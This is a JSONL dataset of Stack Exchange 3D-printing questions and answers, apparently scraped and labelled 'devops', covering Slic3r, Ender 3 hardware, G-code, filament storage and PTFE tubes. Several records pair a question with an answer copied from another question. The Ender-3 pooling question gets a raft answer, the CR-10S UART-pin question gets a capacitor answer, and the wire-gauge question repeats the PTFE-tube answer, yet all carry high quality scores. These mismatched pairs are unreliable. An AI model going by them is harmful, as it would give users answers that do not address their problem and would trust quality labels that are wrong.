{"id": "hf_d368df7808db", "question": "<p>I am modifying some Slic3r config parameters and comparing the results.  How can I have two instances (or equivalent: I would like to see two model windows with their associated configuration screens) of Slic3r at the same time?  I'm on OS X, but if there is a generic (e.g. within Slic3r) solution that will be preferrable.</p>\n", "question_body": "", "answer": "From a terminal window, run the command\n```\n```\nopen -n -a slic3r\n```\n```\nEach time the command is executed, a new instance of Slic3r is created.\nAs per Carl's note, keep in mind that both instances of Slic3r will be sharing the same configuration files, so it will be safest not to save configuration changes while both are open.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.656255"}
{"id": "hf_1263b1a1180a", "question": "<p>I'm new to 3D printing and I recently got my first 3D printer, an Ender 3 Pro by Creality.</p>\n\n<p>I've tried to find information about the type of nozzles should I look for. I'm trying to find stainless steel nozzles but there are so many models (M7, M8, etc.) and I have no idea what nozzle type I should get.</p>\n\n<p>I've tried searching on Google but the only info I could find is that the extruder is an MK-10.</p>\n\n<p>I am also looking for a heating cartridge for the hot end, but I still cannot find no information about the size that I need (15 mm/20 mm/30 mm). Also looked for info about the heated bed so I know what kind of thermistor I need (I found two types and no clue which one to get).</p>\n\n<p>Where can I find some technical information about these?</p>\n", "question_body": "", "answer": "There is no such thing as a single MK10 hotend design. The Chinese aftermarket has mingled the designations.\nIf it has a\nMK10 like Makerbot\nhotend, then the nozzles you are looking for are M7 threads. It appears (see\nthis answer\n) that your hotend is a cloned MK10 and has different dimensions, you have the M6 version.\nQuote from link above: (this is about the Makerbot MK10)\nMK10 was a complete change of the hotend. MK10 uses smooth OD thermal\n  barriers with a larger 4mm OD 2mm ID PTFE liner. MK10 also uses M7\n  threads, vs the M6 of all previous models. This is because a 4mm PTFE\n  liner is barely enough metal to make the outer tube with m6 threads.\n  MK10 is completely incompatible with all previous hotend parts. Every\n  part is different. Mk10 still uses MK9 feeder parts.\nYou could measure your current heat block (the width of the Aluminium block); if you look at the MK10 drawings  of a proper M7 MK10 Makerbot (or derivative) hotend (below) you see that the width of the block is about 19 mm (which would be the length of the heater cartridge).\nThe CEO of ToyBuilder labs explains the difference between an \"MK10\" and an MK8 in\nthis video\n:\nAs can be seen, your nozzle clearly is not an MK10.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.681445"}
{"id": "hf_cbe05bac32d3", "question": "<p>I started using rafts more often, to get better results with complex or fragile parts, but my Ender 3 consistently under-extrudes the initial outside line of the raft (for the first inch or two, where extrusion starts). </p>\n\n<p>It is often very thin and does not adhere. This often leads to problems with the following pattern of raft layer 1 curling up (ABS) as it does not meet the edge line (due to the 1-2 inch gap in the perimeter).</p>\n\n<p>Skirts avoid this problem by getting the flow going, but rafts only print a single outer line.</p>\n\n<ol>\n<li>Is it possible to specify more than one outer line on a raft in Ultimaker Cura?</li>\n<li>Is it possible to add a skirt to a print that has a raft (or at least some initial printing to get the flow going)?</li>\n<li>Is it possible to add some initial G-code that will extrude a line, say from near the start position to the start of the print?</li>\n</ol>\n\n<p><img src=\"https://i.stack.imgur.com/zqaay.jpg\" alt=\"example of problem\"></p>\n", "question_body": "", "answer": "It's not necessarily the case that the apparent underextrusion of a small portion of your raft is the root cause.  ABS is notorious for shrinkage and peeling.  As a start, you should have a full enclosure so as to maintain a warm environment while printing.\nIt's also quite possible that your bed is slightly off-level or a few microns low for the first layer, either of which can cause adhesion problems.\nYes, it's pretty much trivial to add a few lines of gcode to extrude prior to the \"official\" raft -- or you could just toss a fake small object into your slicer to extend the raft over both the real and the fake parts.\nFWIW, with a little care I've found a wide brim outperforms a raft for almost anything I print", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.706306"}
{"id": "hf_dd35d8e67eea", "question": "<p><a href=\"https://i.stack.imgur.com/rtG5C.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rtG5C.jpg\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/i1oaO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i1oaO.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>I'm getting some slight pooling on the end of straight lines on my Ender-3</p>\n\n<p>Is this due to over extruding? Or some other issue?</p>\n", "question_body": "", "answer": "It's not necessarily the case that the apparent underextrusion of a small portion of your raft is the root cause.  ABS is notorious for shrinkage and peeling.  As a start, you should have a full enclosure so as to maintain a warm environment while printing.\nIt's also quite possible that your bed is slightly off-level or a few microns low for the first layer, either of which can cause adhesion problems.\nYes, it's pretty much trivial to add a few lines of gcode to extrude prior to the \"official\" raft -- or you could just toss a fake small object into your slicer to extend the raft over both the real and the fake parts.\nFWIW, with a little care I've found a wide brim outperforms a raft for almost anything I print", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.731284"}
{"id": "hf_64d4ffc5644f", "question": "<p>What are the most common 3D printing file formats, and which one is more effective or used more than others?</p>\n", "question_body": "", "answer": "STL\nis the standard for pretty much everything out there.\nEDIT: This is for models to be sliced and printed. Gcode is what would actually be executed, after slicing, to create the print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.755991"}
{"id": "hf_8fe4c18b947d", "question": "<p>I want to print a piece of fruit modeled in Blender. It is an STL file. \nPlease note that I am an absolute beginner at 3D printing models. </p>\n\n<p>What do these red zones mean? What is wrong about the mesh in each case?</p>\n\n<p><a href=\"https://i.stack.imgur.com/GGEQe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GGEQe.png\" alt=\"The fruit has some low-poly seeds. These used to be a particle system but I then changed them into individual objects.\"></a></p>\n\n<p>The fruit has some low-poly seeds. These used to be a particle system but I then changed them into individual objects.</p>\n\n<p><a href=\"https://i.stack.imgur.com/cmOfL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cmOfL.png\" alt=\"These would be the base of the fruit. Why is it erroneous?\"></a></p>\n\n<p>This view shows the base of the fruit, why is it colored red?</p>\n", "question_body": "", "answer": "3D printers cannot print in the air without a prior layer or a support structure supporting the new printed layer. For the picture showing the bottom of the fruit, the red area is the calculated area that requires support for printing, so please enable that in the slicer application.\nFor the top picture please post a detail or a zoomed in part. It is currently difficult to see what is the matter. It looks as though the STL model is incorrect and Ultimaker Cura thinks that the seeds are upside down, hence the red coloring also. This means that you need to fix the normals of the faces in the STL model. Please look into\nthis answer\nand\nthis answer\nfor some hints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.783289"}
{"id": "hf_049a4220e414", "question": "<p>Is it a good idea or do I need to calibrate my E steps after I switch to a new filament due to the different types I use (to make my prints accurate)?</p>\n\n<p>E.g. calibrate when switching from PLA to ABS/PETG? </p>\n", "question_body": "", "answer": "No that will not be necessary.\nHowever, you could use calipers to measure the diameter of the filaments (e.g. at 5 positions over a few meters) and calculate the mean diameter, if there is a significant difference between the new and the currently used filament you could change the diameter in the slicer (or the flow modifier), you do not need to calibrate the steps per millimeter every time you change filament.\nYou only need to calibrate the steps per millimeter if you change something in the extruder hardware setup, e.g. different extruder, different stepper driver, a new gear, etc. As long as the hardware is not changed a calibrated extruder setup will move a certain amount of filament regardless of the diameter variation (per rotation of the extruder gear an amount of\n$2 \\times \\pi \\times (gear\\ radius)$\nmm of filament.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.844330"}
{"id": "hf_a09a19c40552", "question": "<p>Given the Marlin Firmware what is the difference between the following lines of code:</p>\n\n<blockquote>\n  <p>G4 S20</p>\n</blockquote>\n\n<p>and</p>\n\n<blockquote>\n  <p>G4 P2000</p>\n</blockquote>\n", "question_body": "", "answer": "The code\n```\nG4\n```\nrefers to\ndwell\n. (From what I'm seeing, it can be written as either\n```\nG4\n```\nor\n```\nG04\n```\n).\n```\nP\n```\nis the length of dwell time, usually in milliseconds. The parameter\n```\nS\n```\nseems to be invalid, because the only inputs are\n```\nX\n```\n(seconds),\n```\nP\n```\n(milliseconds), or\n```\nU\n```\n(undefined). If you have\n```\nS20\n```\nin your code, it is invalid, whereas\n```\nP2000\n```\nwill cause all axes to remain unmoving for 2 seconds before moving on.\n(Note: Not all machines will accept\n```\nX\n```\nor\n```\nU\n```\n.)\nEDIT:\nThis answer is specific to\nnon-specific\ng-code, taken from this\nSource\n, since the OP did not state any specifics about their firmware type or equipment used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.879960"}
{"id": "hf_fae99fba6d8a", "question": "<p>Given a Marlin firmware and a line of G-code such as the following:</p>\n\n<blockquote>\n  <p>G1 F100 X50 Y50 Z0 E-10</p>\n</blockquote>\n\n<p>What defines the speed at which the stepper motor associated with the E-value is retracting? It is my understanding that the Feed Rate defines the speed of the movement (in this case 100mm/m) but I am not clear how I could accelerate a retraction? </p>\n\n<p>The reason I am asking is that I am not seeing a swift removal of material as i retract. Could the slow feed rate be the issue? I am using a pellet printer (WASP 3MT) and generating G-code from polylines on Silkworm.</p>\n", "question_body": "", "answer": "You instruct the printer to move from a certain X-Y position instructed by the previous move, to X=50 and Y=50. While moving at a feedrate of 100 mm/min, it will also retract 10 mm of filament (if the previous extruder distance was 0) during that move. If the movement distance is large, the retraction is slow. If you started from X,Y = 49.99,49.99 it would be very fast.\nIf you want a fast retraction, first move to a position, and than retract fast, so in separate commands. Do note that we usually do it the other way around: first retract fast and then move, this way there is less oozing of the nozzle.\nTo sum up, in your G-code command, the speed of retraction depends on the path of travel (the length and speed defined by the feed rate\n```\nF\n```\n). If it is fast retraction you are after, you should split the command into two separate commands.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.904822"}
{"id": "hf_15b11e86b703", "question": "<p>I'm looking for the specific density of the GEL-LAY and LAYWOO 3D materials by manufacturer CC Products.</p>\n\n<p>It isn't noted on their website or on the spool or the box the spools came in. I've looked for hours on Google and various websites, from resellers to people who tested it, without being able to find it.</p>\n", "question_body": "", "answer": "I can't provide the end answer, but if you already have the material, you should be able to measure this yourself quite simply.\nMeasure and cut a sample of filament, and weigh it. For example, a 10 meter length with a 1.75 mm diameter will have a volume of:\nv = pi * r\n2\n* l\nv = pi * (0.175 cm/2)\n2\n* 1000 cm\nv = 24.05 cm\n3\nDensity is mass divided by volume. If your sample weighs 18 g, this would be\nd = m / v\nd = 18.0 g / 24.05 cm\n3\nd = 0.748 g/cm\n3\nNote that the accuracy of this measurement will depend on the accuracy and precision of your measurements. A household kitchen scale might not be good enough for such small weights. In order to get a good weight measurement, you may need to use a much longer (and heavier) sample of filament.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.928648"}
{"id": "hf_03c13cac97bb", "question": "<p>Is there a difference between 3D printing and additive manufacturing if any then explain?</p>\n", "question_body": "", "answer": "Origin\n3D printing and additive manufacturing (AM) both refer to a\nrange of processes\nwhere, opposed to subtractive manufacturing methodologies, materials are joined to create products. E.g.\nFFF\n,\nSLS\n, etc.\nFrom\nthis reference\nyou see a reference to 3D printing:\nAdditive manufacturing is the official industry standard term (ASTM\nF2792) for all applications of the technology. It is defined as the\nprocess of joining materials to make objects from 3D model data,\nusually layer upon layer, as opposed to subtractive manufacturing\nmethodologies.\nFrom e.g.\nthis reference\none reads that there is no difference:\nBetween the terms 3D printing and additive manufacturing, there is no\ndifference. 3D printing and additive manufacturing are synonyms for\nthe same process.\nUseage now\nHowever, as the AM processes and applications grew in time, 3D printing has become a subset of AM. As worded by\nPeter Zelinski\nin August 2017:\nTo be sure, the terms overlap. They can be used in ways that make them\nsound like synonyms. But the relationship between them and the\ndifference between them is this:\n3D printing is the operation at the\nheart of additive manufacturing\n, just as “turning” or “molding” might\nbe the operation at the heart of a conventional manufacturing process.\nIn short,\nadditive manufacturing requires and includes 3D printing,\nbut it also entails more than 3D printing, and it refers to something\nmore rigorous\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.953908"}
{"id": "hf_074949283f35", "question": "<p>I have a new Prusa i3 MK3 and I have noticed that my prints consistently turn out worse on 0.05 mm layer heights than on 0.10 mm. The edges of the 0.05 mm prints turn out rough and sometimes stringy.</p>\n\n<p><a href=\"https://i.stack.imgur.com/KOLcv.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/KOLcv.jpg\" alt=\"Detail of a 0.05 mm layer height printed model\"></a></p>\n\n<p>Seems similar to a retraction problem but I never have this issue on 0.10 mm prints with the same retraction settings. </p>\n\n<p>What might be causing this issue?</p>\n", "question_body": "", "answer": "When printing at small layer heights (high resolution), you probably need to do some test prints first to see if your normal settings work for the lower layer height. You are most probably experiencing an increased pressure build-up in the nozzle due to the nozzle being closer to the bed. A test that might be useful for you is spacing several objects at different distances to see if the retraction, which you already suspect, may be not working optimally or that the nozzle leaks/oozes an excess amount of filament due to pressure build-up. This shows an example of such a test where the nozzle shows oozing.\nTuning the extruder to alleviate the pressure could be:\nan increased retraction length, and/or\nretraction speed, or\nlooking into the option called coasting where you stop extruding before the printer reaches the end of the deposition path while it still prints material caused by the pressure build-up.\nWhen printing at 0.05 mm on my home-build CoreXY I experience much smoother prints opposed to printing in higher layer heights (less resolution), but I also get some very fine stringing, noticeable when printing multiple objects or objects with voids.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:00.989897"}
{"id": "hf_065bc5e15b1b", "question": "<p>I have a WiFi module that only needs two wires connection to work. These are RX and TX pins connected to Arduino or the CR-10S printer board but I don't know if there is any physical or software UARTs TX and RX pins. My goal is to add a Wifi support to the CR-10S printer. Since this is not Arduino and the pins are not labeled, it's hard to tell which TX and RX pins are not being used.</p>\n\n<p>In the image of my motherboard below, any port or pin with line pointing to is considered as being used by the printing software so I can't used them.</p>\n\n<p><a href=\"https://i.stack.imgur.com/gGGeo.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gGGeo.jpg\" alt=\"CR-10S printer control board\"></a></p>\n\n<p>There are still ports or pins that are not used. Can any one tell if there is a  TX and RX pin that is not being used from the image above? I need them to communicate with the printer wirelessly. </p>\n", "question_body": "", "answer": "You are looking for a capacitor that must be connected to Pin 4 of the LM2596.\nMaybe you could provide a better picture of that area so we could see the different tracks on the board.\nThe LM2596 is in the center of the right side of the board (it is also labeled  with LM2596D). The pins should be counted from top to bottom (in your picture)\nMy guess is, the Elko you are looking for is connected to C31, and you must look for the positive pin.\nIn this wiring diagram Cout is the capacitor you are looking for. The SMD Parts R1, R2 and CFF should be R31, R32 and C31 in your picture.\nWith the corresponging measurements I would say you do not need to replace the capacitors.\nIn comparison to the old board your board already has the \"fix\" implemented.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.025897"}
{"id": "hf_dd822bcf70dd", "question": "<p>I am currently encountering a problem where under certain circumstances, the extruder stutters when it starts a new layer. I am printing on an Anycubic i3 Mega and am slicing with Cura 3.6.0. The problem seems to occur in the main part of prints, as well as in supports. However it seems to only occur after a retraction has taken place. I have taken a video of the stuttering which can be found here: <a href=\"https://photos.app.goo.gl/G3TLKveMsLNRQmgv7\" rel=\"nofollow noreferrer\">https://photos.app.goo.gl/G3TLKveMsLNRQmgv7</a>\nWhen a print is done the stuttering results in walls looking like this:\n<a href=\"https://i.stack.imgur.com/AlAZQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AlAZQ.jpg\" alt=\"In this case, the problem occured in the support structure\"></a>\nCan anyone help me figure out what is causing the stuttering?\nThank you very much!</p>\n", "question_body": "", "answer": "You retraction settings may be too high. Direct drive extruders require less retraction than Bowden style extruders. Typical retraction settings for direct drive are 1.5mm at 50mm/s and for Bowden, 4mm at 50mm/s. The speed usually makes more of a difference than distance beyond a certain point.\nYou can get away with smaller retraction settings if you increase travel speed because there will be less time to ooze. You could also try using Coasting as well.\nAnyway, try reducing your retraction settings if they're higher than what I stated above. Another alternative is to set an extra prime distance so that extra filament is extruded after the retraction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.050771"}
{"id": "hf_a613defc38ab", "question": "<p>I have designed a bread mark and printed it on the Prusa i3 MK3.</p>\n\n<p><a href=\"https://i.stack.imgur.com/qs5PP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qs5PP.png\" alt=\"Bread mark\"></a></p>\n\n<p>I wanted it to have as sharp edges as possible, so I used a triangle:</p>\n\n<p><a href=\"https://i.stack.imgur.com/AMTCP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AMTCP.png\" alt=\"Triangle\"></a></p>\n\n<p>However, it seems that the print cut off layers that are too thin (x-y-wise) and instead of a 1 cm high bread mark, I only have 0.5 cm.</p>\n\n<p>What is the X-Y-resolution of the Prusa i3 MK3? In Slic3r, can I make sure that any wall is made as thick as needed for it to be printed?</p>\n\n<p>I have the default 0.4 mm nozzle.</p>\n", "question_body": "", "answer": "This is dependent on the slicer and the nozzle diameter. Typically, you cannot print a wall smaller than twice the nozzle diameter because walls need an inner and outer line. Therefore, your slicer will make some cutoff and won't print walls below a certain threshold, in order to try to faithfully replicate your model.\nSlic3r, I believe, will automatically go down to single line walls, but if you turn on \"Detect thin walls\" in Slic3r's Print Settings, more of the thin walls will be printed. Slic3r will actually reduce the plastic extruded to attempt to make even thinner walls, but there's still a limit.\nWith a 0.4 mm nozzle, you should design walls no smaller than 0.8 mm, or 0.4 mm at the very smallest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.074510"}
{"id": "hf_8eaf8e8ba91c", "question": "<p>I have a small problem where plastic comes out of the nozzle while the printer is at a standstill (normally towards the end of heating the nozzle for a print), and whilst it moves from the line for clearing the nozzle on the left of the bed (Cura) before the actual print starts. This causes a slight problem where the first few millimetres of the printed line curls upwards when the nozzle comes back around again it goes over it but it causes a slight bump that makes a very small (but noticeable) skip or bump in the print on the bottom layer. </p>\n\n<p>I am using the Ender 3 running Marling 1.1.9 with a Bltouch and a <a href=\"https://www.amazon.co.uk/Comgrow-Glass-Creality-Printer-Ender-3/dp/B07DSC9TJQ/ref=sr_1_3?ie=UTF8&amp;qid=1543100048&amp;sr=8-3&amp;keywords=ender%203%20glass\" rel=\"nofollow noreferrer\">glass bed</a>, I didn't seem to have this problem before I upgraded to the glass bed and Marlin for the Bltouch.</p>\n\n<p>Any help will be greatly appreciated.</p>\n", "question_body": "", "answer": "This effect is called oozing. At the end of heating up the hot end, left filament becomes so liquid that it oozes out of the nozzle. This left filament could be a left over from the previous print where an insufficient retract prior to the last print finish causes this (you could retract the filament a little further in your \"end G-code\" script, first reset the E to zero\n```\nG92 E0\n```\nand then retract\n```\nG1 E-3 F1500\n```\n, be sure that the priming length in your \"start G-code\" takes care of this distance).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.098198"}
{"id": "hf_05bd82ced94c", "question": "<p>I was noticing on a print I had just done that the quality was not up to typical snuff. I had just started using a roll of PLA filament that I had been keeping on a shelf without a wrapper for a couple months. How long can you store filament before it gets too hydrated from the air to print? I expected more than a couple months but perhaps I am wrong?</p>\n", "question_body": "", "answer": "In\ntheory\n, most filaments don't go bad within a year. However, praxis shows, that averse conditions can impact the filaments over time and age them to unusability.\nAmong the damaging factors is heat, but most filaments also are hygroscopic and absorb water to some small degree, or even heavily like Nylon.\nAs a result, it always a good idea to at least try to store filament dry. To enforce this, some use racks in a well-heated room, others are blessed with very dry weather overall. And on some locations, like the coast, you might even be forced to use dryboxes for each and every filament to try to slow the degradation of steady hot humid air leaching out the additions from the filament.\nDryboxes can keep the filament reasonably isolated from the surrounding air and so prevent moisture interacting with them to some degree. It is also a good idea to store them out of direct sunlight, as UV light might destroy color and/or the plastic. More information on why to use them is for example at\nthis question\nA couple construction videos using an IKEA box and a bit of foam were offered by\nTom (Thomas Sanladerer)\nand\nCNC Kitchen (Stefan Hermann)\nin 2017.\nBut fear not: most filaments - PLA included - can be freshened up again if the damage is not to prolonged! Baking them at a low temperature or storing them in a dehumidifier has worked in some climates. For PLA, keep the temperature at below 80°C. A couple of hours should get some the moisture that has seeped in out again. The Quality might not get back to that of fresh filament in all cases, but you might at least regain reasonable to good printability.\nAlso note, that different filaments are differently affected.\nABS for example is a little less hygroscopic than PLA, while HIPS is one of the least hygroscopic filaments available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.127903"}
{"id": "hf_f0d8a8153dae", "question": "<p>I bought a few new nozzles expecting them to come with that little tube that comes out of the nozzle. They didn't come with them after all, so I tried to reuse the tube I originally had in the printer. Turns out my old tube is 4mm OD and 2mm ID, but the new nozzles have 2mm holes for the tube to go in. I use 1.75mm filament, so it seems like to be able to fit the filament through the tube would be impossible barring a tube with an 0.125mm wall. </p>\n\n<p>My question is, can I put the tube outside of the nozzle? That is, not stuck in the hole for the nozzle. In theory, the tube would still direct the filament into the right place. It looks like that might be the point of these new nozzles, since it seems so unlikely that someone would be able to stick a filament tube in the nozzle. </p>\n\n<p>If not, where can I find the tubes I need? I've looked in a few different places and I can't find it. Or are the nozzles useless, and should I return them? Thanks for the help. </p>\n", "question_body": "", "answer": "Let me clean up a little nomenclature\nThe PTFE tube is either a Bowden Style Setup delivering the filament from the extruder down through the cool-end and to the heatbreak or just a liner in the cool-end and heatbreak for direct drive. In both cases they are to prevent clogs. In most setups it is\nnot\npushed into the nozzle which is in the heater block (they exist, see below).\nThe liner/Bowden tube guides the filament through the heatsink and into the proper Hotend/Meltzone. In the better designs intended for higher temperature like ABS (see left half), it ends in the heatbreak. This also has the added benefit of having less chance to leak if the tube slips a little bit.\nSimple setups (see right half) butt it against the nozzle and thus limit the temperature range. This kind of butted setup can lead to leakage if the tube slips up. In either case, it is no problem to reuse the PTFE tube when changing nozzles, it is even advisable in the case of a Bowden setup as it might change the length of the path.\nThe nozzle is usually screwed into the heater block from below, and for best use, one screws it against the heatbreak in a heated state - this is called hot-tightening.\nIf you somehow end up destroying your PTFE Tube, you can get them under the keyword PTFE tube, Bowden tube or Pneumatic PTFE tube on the internet.\nPTFE inside the nozzle?\nYes, these exist, OP has them, they look like this, and are not what has become the industry standard.\nI can think of no good reason to put an PTFE Sleeve\ninto\nthe nozzle, but someone did it, and it sis a valid approach. However, I see several problems with it:\nthe PTFE tube degrades if pushed deep into the melt zone and can lead to clogs.\nthe added PTFE is not a very good at transmitting heat, thus reducing the effectiveness of the melt zone. This can lead to needing either much lower printing speeds or a much higher printing temperature to achieve good prints\nIt should be of no issue to convert from this style into the butted-style (right) just by using a short length of PTFE in the heatbreak. I would prefer though to combine it with a heatbreak where the PTFE ends and making this what is commonly referred to as an \"all metal hotend\" (left).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.157667"}
{"id": "hf_ec3eee775938", "question": "<p>I want to extend <strong>all</strong> my CR-10S wires. I have two long wire types: 22 and 18 AWG wires. I've done some research and found the following:</p>\n\n<ul>\n<li>Extruder heating element:  22 AWG or lower.</li>\n<li>Extruder thermistor sensor:  22 AWG or lower (Doesn't really need much amp).</li>\n<li>Fans:  24 AWG or lower (Doesn't really need much amp).</li>\n<li>Limit switch/filament sensor: 24 AWG or lower (Doesn't really need\nmuch amp).</li>\n</ul>\n\n<p>Here is where I've problems determining which wire gauge to use:</p>\n\n<ul>\n<li>Stepper motor wires: ?</li>\n<li>Bed heater wires: ?</li>\n</ul>\n\n<p>What's the wire gauge needed for the stepper motor and bed heater wires? Obviously, the bed heater needs more amp so I expect lower wire gauge. Is my 18 gauge wire enough for this?</p>\n\n<p>On the <a href=\"https://reprap.org/wiki/Heated_Bed#Wiring\" rel=\"nofollow noreferrer\">Reprap</a> site, it says that 18 AWG or lower is fine for the heating bed.</p>\n", "question_body": "", "answer": "Let me clean up a little nomenclature\nThe PTFE tube is either a Bowden Style Setup delivering the filament from the extruder down through the cool-end and to the heatbreak or just a liner in the cool-end and heatbreak for direct drive. In both cases they are to prevent clogs. In most setups it is\nnot\npushed into the nozzle which is in the heater block (they exist, see below).\nThe liner/Bowden tube guides the filament through the heatsink and into the proper Hotend/Meltzone. In the better designs intended for higher temperature like ABS (see left half), it ends in the heatbreak. This also has the added benefit of having less chance to leak if the tube slips a little bit.\nSimple setups (see right half) butt it against the nozzle and thus limit the temperature range. This kind of butted setup can lead to leakage if the tube slips up. In either case, it is no problem to reuse the PTFE tube when changing nozzles, it is even advisable in the case of a Bowden setup as it might change the length of the path.\nThe nozzle is usually screwed into the heater block from below, and for best use, one screws it against the heatbreak in a heated state - this is called hot-tightening.\nIf you somehow end up destroying your PTFE Tube, you can get them under the keyword PTFE tube, Bowden tube or Pneumatic PTFE tube on the internet.\nPTFE inside the nozzle?\nYes, these exist, OP has them, they look like this, and are not what has become the industry standard.\nI can think of no good reason to put an PTFE Sleeve\ninto\nthe nozzle, but someone did it, and it sis a valid approach. However, I see several problems with it:\nthe PTFE tube degrades if pushed deep into the melt zone and can lead to clogs.\nthe added PTFE is not a very good at transmitting heat, thus reducing the effectiveness of the melt zone. This can lead to needing either much lower printing speeds or a much higher printing temperature to achieve good prints\nIt should be of no issue to convert from this style into the butted-style (right) just by using a short length of PTFE in the heatbreak. I would prefer though to combine it with a heatbreak where the PTFE ends and making this what is commonly referred to as an \"all metal hotend\" (left).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:01.181964"}
